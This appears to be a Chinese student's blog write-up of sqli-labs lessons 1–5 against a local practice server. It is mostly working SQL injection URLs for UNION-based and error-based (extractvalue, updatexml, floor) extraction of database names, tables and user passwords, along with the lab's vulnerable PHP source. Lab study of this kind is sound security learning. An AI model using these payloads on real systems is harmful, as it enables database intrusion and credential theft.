sqli-labs
Created at 2018-08-03 Updated at 2018-08-05
sqli-labs/less-1（基于错误的GET单引号字符型注入）
查询语句：$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
①http://127.0.0.1/sqli-labs-master/Less-1/?id=1
②http://127.0.0.1/sqli-labs-master/Less-1/?id=1'
③http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1'='1
结果如①
④http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1'='2
字符型
⑤http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+
查询的字段为三列
⑥http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,3--+
只有第2、3列的结果显示
⑦猜数据库名，用户http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,concat_ws(';',database(),user()),3--+
⑧猜表名：http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
发现只能返回查询到的一条记录，用limithttp://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,2--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,2--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,2--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,2--+
结果为空，因此有emails、referers、uagents和users表
⑨猜列名：
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 1,1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 2,1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 3,1--+
结果为空，因此users表中有id、username、password三个列
⑩获得id、username、password
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,concat_ws(';',id,username,password),3 from security.users where 1=1 limit 0,1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,concat_ws(';',id,username,password),3 from security.users where 1=1 limit 1,1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,concat_ws(';',id,username,password),3 from security.users where 1=1 limit 2,1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,concat_ws(';',id,username,password),3 from security.users users where 1=1 limit 3,1--+
依次limit加一，直到查询到的结果为空
sqli-labs/less-2（基于错误的GET整型注入）
①http://127.0.0.1/sqli-labs-master/Less-2/?id=1（可以查询）
http://127.0.0.1/sqli-labs-master/Less-2/?id=1' （查询报错，可以知道查询结果只会显示一行）
②http://127.0.0.1/sqli-labs-master/Less-2/?id=1' and '1'='1 （查询报错）
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1 （可以查询，有结果）
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 （可以查询，无结果）
数字型
③http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 （可以查询）
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 （Unknown column ‘4’ in ‘order clause’，说明只查询三列）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,3 （查询结果只显示第2、3行）
④http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(' ; ',database(),user(),version())
⑤http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+ （查询到emails表）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+ （查询到referers表）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 2,1--+ （查询到uagents表）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1--+ （查询到users表）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 4,1--+ （查询不到结果）
⑥http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1--+ （查询到id列）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1--+ （查询到username列）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1--+ （查询到password列）
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 3,1--+ （查询不到该结果）
⑦http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(' : ',id,username,password) from security.users where 1=1 limit 0,1--+
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(' : ',id,username,password) from security.users where 1=1 limit 1,1--+
http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(' : ',id,username,password) from security.users where 1=1 limit 2,1--+
依次limit加一，直到查询到的结果为空。
<————-2018-08-03 22:16:32————->
独自学习效率好低哇(´｀;)
更新
<————-2018-08-05 23:09:27————->
sqli-labs/less-3（基于错误的GET单引号变形字符型注入）
查询语句：$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
①http://127.0.0.1/sqli-labs-master/Less-3/?id=1 （可以查询）http://127.0.0.1/sqli-labs-master/Less-3/?id=1'
http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+ （可以查询）
②http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 3--+ （可以查询）http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4--+ （显示Unknown column '4' in 'order clause'，说明只查询三列）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,3--+ （查询显示第2、3列）
③http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,concat_ws(' : ',database(),user(),version())--+
（当前数据库名为security，用户为root，版本为5.5.53）
④http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema='security'--+ （查询到emails表）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+ （查询到referers表）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema='security' limit 2,1--+ （查询到uagents表）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema='security' limit 3,1--+ （查询到users表）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,table_name from information_schema.tables where table_schema='security' limit 4,1--+ （查询不到表）
⑤http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1--+ （查询到id列）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 1,1--+ （查询到username列）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 2,1--+ （查询到password列）http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 3,1--+ （查询不到结果）
⑥http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,concat_ws(' : ',id,username,password) from security.users limit 0,1--+
依次limit加一，直到查询到的结果为空。
sqli-labs/less-4（基于错误的GET双引号字符型注入）
查询语句：$id = '"' . $id . '"';$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
①http://127.0.0.1/sqli-labs-master/Less-4/?id=1' （可以查询）http://127.0.0.1/sqli-labs-master/Less-4/?id=1"
http://127.0.0.1/sqli-labs-master/Less-4/?id=1")--+ （可以查询）
②http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3--+ （可以查询）http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+
（显示Unknown column '4' in 'order clause'，说明只查询三列）http://127.0.0.1/sqli-labs-master/Less-4/?id=0") union select 1,2,3--+ （查询显示第2、3列）
③http://127.0.0.1/sqli-labs-master/Less-4/?id=0") union select 1,2,concat_ws(' : ',database(),user(),version())--+
（当前数据库名为security，用户为root，版本为5.5.53）
④http://127.0.0.1/sqli-labs-master/Less-4/?id=0") union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+
依次limit加一，直到查询结果为空。共有emails、referers、uagents和users表。
⑤http://127.0.0.1/sqli-labs-master/Less-4/?id=0") union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1--+
依次limit加一，直到查询结果为空。共有id、username和password列
⑥http://127.0.0.1/sqli-labs-master/Less-4/?id=0") union select 1,2,concat_ws(' : ',id,username,password) from security.users limit 0,1--+
依次limit加一，直到查询到的结果为空。
sqli-labs/less-5双注入GET单引号字符型注入
源码：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
//emmm，都没有能输出查询的东西
//利用报错注入，可以用数据类型转换报错
//嵌套多条SQL语句，出错时输出的错误信息包含内层的查询结果
}
else {
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
这里没有能输出查询结果的语句，可以用报错注入来解决（参考《代码审计》）
十种mysql报错注入
①floor()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and ( select 1 from(select count(*),concat_ws(' : : ',database(),user(),version(),floor(rand()*2))x from information_schema.tables group by x) a)--+
②extractvalue()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
emmm，突然发现用concat_ws()第一个值会被吞唉Σ(⊙▽⊙”ahttp://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat_ws(0x7e,(select database()),(select user()))))--+
发现database()的值没有了
可以在第二个值的位置加一个字符：http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat_ws(0x7e,':',(select database()),(select user()))))--+
③updatexml()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
试试concat_ws()还是被吞了一个唉http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (updatexml(1,concat_ws(0x7e,(select database()),(select user())),1))--+
修改同上
④geometrycollection()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and geometrycollection((select * from(select * from(select user())a)b))--+
在这里不能查询(O_o)??
⑤multipoint()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and multipoint((select * from(select * from(select user())a)b))--+
这个在这里也不行唉∑(´△｀)？！
⑥polygon()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and polygon((select * from(select * from(select user())a)b))--+
在这里还是不行，图都是跟上面一样的
⑦multipolygon()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and multipolygon((select * from(select * from(select user())a)b))--+
在这里不行…
⑧linestring()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and linestring((select * from(select * from(select database())a)b))--+
这里不行
⑨multilinestring()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and multilinestring((select * from(select * from(select user())a)b))--+
里不行
⑩exp()
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and exp(~(select * from(select user())a))--+
不行
第五题在这里只能用前三种去做┐(ﾟ～ﾟ)┌
第一种有随机性，这里暂时用第二种做
①http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select concat_ws(' ; ',database(),user())),0x7e)))--+
②http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'),0x7e)))--+
查询结果有多行，但是需要一行一行查看，可以用limithttp://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)))--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x7e)))--+
limit依次加一，直到结果为空，最后总共查到有emails、referers、uagents和users表。
③http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e)))--+
同理，limit依次加一，直到结果为空，最后查到的列有：id、username和password列。
④http://127.0.0.1/sqli-labs-master/Less-5/?id=' and (extractvalue(1,concat(0x7e,(select concat_ws(' : ',id,username,password) from security.users limit 0,1),0x7e)))--+
limit依次加一，直到结果为空。
<————-2018-08-05 23:09:27————->